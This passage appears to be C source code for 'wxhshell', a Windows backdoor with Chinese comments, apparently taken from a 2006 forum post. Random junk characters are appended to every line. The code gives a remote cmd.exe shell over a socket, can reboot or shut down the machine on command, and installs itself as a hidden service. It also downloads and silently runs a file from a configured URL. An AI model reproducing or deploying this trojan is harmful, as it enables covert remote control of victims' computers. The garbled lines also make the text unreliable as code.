      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &2,0?ra2&  
    break; xv+47.?N  
  } Q96"^Hd  
  // 安装 ?FRuuAS  
  case 'i': { ;:Yz7<>Y,  
    if(Install()) t& *K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[8GoqE|  
    else L PDx3MS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'on8r*  
    break; ;:%*h2  
    } zFq8xw  
  // 卸载 c^?+"7oO0  
  case 'r': { : }q~<  
    if(Uninstall()) }3Mnq?.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\uh]8N3<  
    else q\`0'Z,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \d,wcL  
    break; {Y(#<UDM  
    } Q8~|0X\.g  
  // 显示 wxhshell 所在路径 DC5^k[m  
  case 'p': { RAh4#8]  
    char svExeFile[MAX_PATH]; |P>Yf0  
    strcpy(svExeFile,"\n\r"); n@`:"j%s_  
      strcat(svExeFile,ExeFile); OX  r%b  
        send(wsh,svExeFile,strlen(svExeFile),0); *?-,=%,z/  
    break; k'(eQ5R3L  
    } FVgE^_  
  // 重启 /3!c ;(  
  case 'b': { DC-tBbQkk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Pm.b}p<  
    if(Boot(REBOOT)) CBVL/pxy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|Syw ATr  
    else { ~kJ}Z<e  
    closesocket(wsh); Q, `:RF3  
    ExitThread(0); Y]33:c_;Mo  
    } A0@E^bG  
    break; p:/#nmC<  
    } z :q9~  
  // 关机 3utv  
  case 'd': { &6#>a"?"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FS1> J%P  
    if(Boot(SHUTDOWN)) 8q5 `A Gl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@6B\':  
    else { [2 yxTK  
    closesocket(wsh); g9XAUZe  
    ExitThread(0); /ta5d;@  
    } /|HVp  
    break; M(8Mj[>>Rj  
    } h5do?b v!  
  // 获取shell uDWxIP,m  
  case 's': { oQS_rv\Ber  
    CmdShell(wsh); ?c;T4@mB  
    closesocket(wsh); ~hk;OB;  
    ExitThread(0); E;vF :?|  
    break; G""L1?  
  } +pefk+  
  // 退出 vK10p)ZV  
  case 'x': { 9bxBm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e-`=?tct  
    CloseIt(wsh); m,"N 4a@  
    break; @N%/v*  
    } dh~ cj5  
  // 离开 B9[eLh!  
  case 'q': { dHUcu@,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %^?yI  
    closesocket(wsh); u |EECjJn  
    WSACleanup(); a(a 2xa  
    exit(1); !SxZN dv  
    break; [l7 G9T}/[  
        } 0?0$6F  
  } .GM}3(1fX`  
  } f0h^ULd  
RaBq@r*(  
  // 提示信息 9!kH:Az[p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xyvG+K&  
} 4uV,$/  
  } ydx-` yg#  
O7x'q<PFU  
  return; {=q$k=ib  
} i"HENJyCb  
0)^$9 Z  
// shell模块句柄 -<jd/ 5  
int CmdShell(SOCKET sock) Tx|}ke~  
{ jlA?JB  
STARTUPINFO si; yW!+:y_N_  
ZeroMemory(&si,sizeof(si)); ?L'4*S]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Dv<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dm+}nQI \  
PROCESS_INFORMATION ProcessInfo; @#?w>38y  
char cmdline[]="cmd"; J:  T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); | WN9&  
  return 0; *}n)KK7aT  
} nbhzLUK  
n1mqe*Mvs/  
// 自身启动模式 ?;c&5'7ct  
int StartFromService(void) jb5nL`(j$  
{ KXtc4wra  
typedef struct `PH*tdYrh  
{ 3SU:Xd(\o  
  DWORD ExitStatus; j0]|$p  
  DWORD PebBaseAddress; `O'@TrI  
  DWORD AffinityMask; `n{yls7.  
  DWORD BasePriority; G=Qslrtg  
  ULONG UniqueProcessId; \`MX\OR  
  ULONG InheritedFromUniqueProcessId; 1I1Z),  
}   PROCESS_BASIC_INFORMATION; <.l$jW]  
TX%W-J _  
PROCNTQSIP NtQueryInformationProcess; >@T(^=Q  
uQYBq)p|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xwm-)~L4T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HfN:oww  
"\:ZH[j  
  HANDLE             hProcess; Y unY'xY  
  PROCESS_BASIC_INFORMATION pbi; -T  5$l  
rP=!!fC1;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #SR"Q`P  
  if(NULL == hInst ) return 0; Y >N`(  
/P8`)?f~y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DOzJ-uww1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q7VpKfA:M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  Du*O|  
OG C|elSM  
  if (!NtQueryInformationProcess) return 0; (ru9Ke%Dx  
_&~y{;)S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !FhiTh:GCh  
  if(!hProcess) return 0; u{/!BCKE  
qUMM}ls  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u3Jsu=Nx-  
+TR#  
  CloseHandle(hProcess); yQ3*~d~U|L  
;?A?1q8*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T&5dF9a  
if(hProcess==NULL) return 0; @rh1W$  
%~ROV>&  
HMODULE hMod; h>l  
char procName[255]; d:x=g i!  
unsigned long cbNeeded; }&o*ZY-1  
LhM{d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6Ee UiLd  
!{L6 4qI  
  CloseHandle(hProcess); S(5aJ[7Zm  
F%v?,`_&I  
if(strstr(procName,"services")) return 1; // 以服务启动 OFtAT@ =O  
'za4c4b*u  
  return 0; // 注册表启动 TN=MZ{L  
} sT^^#$ub  
OSvv\3=  
// 主模块 lk5}bnd5  
int StartWxhshell(LPSTR lpCmdLine) #$qhxYyd  
{ ZUW~ZZ7Z:  
  SOCKET wsl; HKr6h?Si^  
BOOL val=TRUE; &>!WhC16  
  int port=0; >H ,t^i}@  
  struct sockaddr_in door; i n^Rf` "  
x4HVB  
  if(wscfg.ws_autoins) Install(); )$wX~k  
-ty_<m]  
port=atoi(lpCmdLine); cE*Gd^  
54A ndyeA  
if(port<=0) port=wscfg.ws_port; <( 0TK5  
u/D=&"tL  
  WSADATA data; d9hJEu!Lu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U73{Uv  
)eFq0+6*)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8-HMKD#V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y3 {om^ f  
  door.sin_family = AF_INET; [y>;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tXocGM {6C  
  door.sin_port = htons(port); >D';i\2j&  
4Qr16,Us  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S> f8j?n  
closesocket(wsl); ?hu$  
return 1; nl7=Nhh  
} S*o%#ZJN  
<%(nF+rQA"  
  if(listen(wsl,2) == INVALID_SOCKET) { ACg5"  
closesocket(wsl); W@^O'&3d  
return 1; ,R j{^-k  
} .1yp}&e#  
  Wxhshell(wsl); [Ng#/QXk{  
  WSACleanup(); 89>U Koc?  
t` R#pQ  
return 0; ,H3~mq]  
*8zn\No<,  
} -Fodqq@,  
K h}Oiw  
// 以NT服务方式启动 A|#9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "lo:"y(u  
{ Uk u~"OGC  
DWORD   status = 0; `e t0i.  
  DWORD   specificError = 0xfffffff; F/\w4T  
.`84Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C?e1 a9r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'AX/?Srd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .17WF\1HC.  
  serviceStatus.dwWin32ExitCode     = 0; y!SElKj  
  serviceStatus.dwServiceSpecificExitCode = 0; Y!LcS48X  
  serviceStatus.dwCheckPoint       = 0; KZ/U2.{O<  
  serviceStatus.dwWaitHint       = 0; e9;<9uX  
*KO4H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \4q% n  
  if (hServiceStatusHandle==0) return; qALlMj--m  
$UMxO`F  
status = GetLastError(); sO~:e?F  
  if (status!=NO_ERROR) oagxTFh8~  
{ Ey$J.qw3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LlP_`fA  
    serviceStatus.dwCheckPoint       = 0; i DV.L  
    serviceStatus.dwWaitHint       = 0; )6#dxb9  
    serviceStatus.dwWin32ExitCode     = status; I"4j152P|  
    serviceStatus.dwServiceSpecificExitCode = specificError; A.<HOx&#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JPQ[JD^]  
    return; q1sK:)Hu+  
  } $v?+X20  
Z 55iq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6LRI~*F=3  
  serviceStatus.dwCheckPoint       = 0;  E%\jR  
  serviceStatus.dwWaitHint       = 0; _D:#M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o0b}:`  
} jW5n^Y)  
hM")DmvB4  
// 处理NT服务事件,比如:启动、停止 +2!J3{[J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rr fL [  
{ "Zd4e2>{M\  
switch(fdwControl) OJ ng  
{ E]`)  
case SERVICE_CONTROL_STOP: >;}np F>  
  serviceStatus.dwWin32ExitCode = 0; W8j)2nKD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'awL!P--  
  serviceStatus.dwCheckPoint   = 0; YHN@?}T()  
  serviceStatus.dwWaitHint     = 0;  *r Y6  
  { ,Ju f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B RF=TL5Z  
  } v]|^.x:  
  return; elCDPZTf  
case SERVICE_CONTROL_PAUSE: 57e'a&}e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *[jG^w0z8~  
  break; Z.+-MNWV  
case SERVICE_CONTROL_CONTINUE: rD)yEuYX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +HNY!fv9  
  break; Um 9Gjd  
case SERVICE_CONTROL_INTERROGATE: Uj&2'>MJ$  
  break; hW[/{2<@  
}; a9PSg/p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \tTZ N  
} '"LrGvkZ  
bFk >IifN  
// 标准应用程序主函数 j(mbUB*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `#B|l+baq  
{ $},Y)"mI  
.C(Ir  
// 获取操作系统版本 ~TwjcI*/  
OsIsNt=GetOsVer(); YlD ui8.N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /gT$d2{  
hXdc5 ?i?  
  // 从命令行安装 _#xS1sD  
  if(strpbrk(lpCmdLine,"iI")) Install(); @Y+YN;57  
p@]\ N  
  // 下载执行文件 v 0mc1g+9  
if(wscfg.ws_downexe) { &3l g\&"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _2+}_ >d  
  WinExec(wscfg.ws_filenam,SW_HIDE); |r5 np  
} $A\fm`  
I*_@WoI*  
if(!OsIsNt) { ^l|{*oj2  
// 如果时win9x,隐藏进程并且设置为注册表启动 WCT}OiLsL  
HideProc(); ;$Q `JN=  
StartWxhshell(lpCmdLine); bI.LE/yk  
} K5gh7  
else rtf\{u9 }g  
  if(StartFromService()) X[b=25Ct  
  // 以服务方式启动 1 zIFQ@  
  StartServiceCtrlDispatcher(DispatchTable); Gqq%q!k&1  
else x>vC;E${"  
  // 普通方式启动 HbQ `b  
  StartWxhshell(lpCmdLine); D+?/MrP  
[2I1W1pd  
return 0; c'nEbelE  
}
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只看该作者 1 发表于: 2006-10-10
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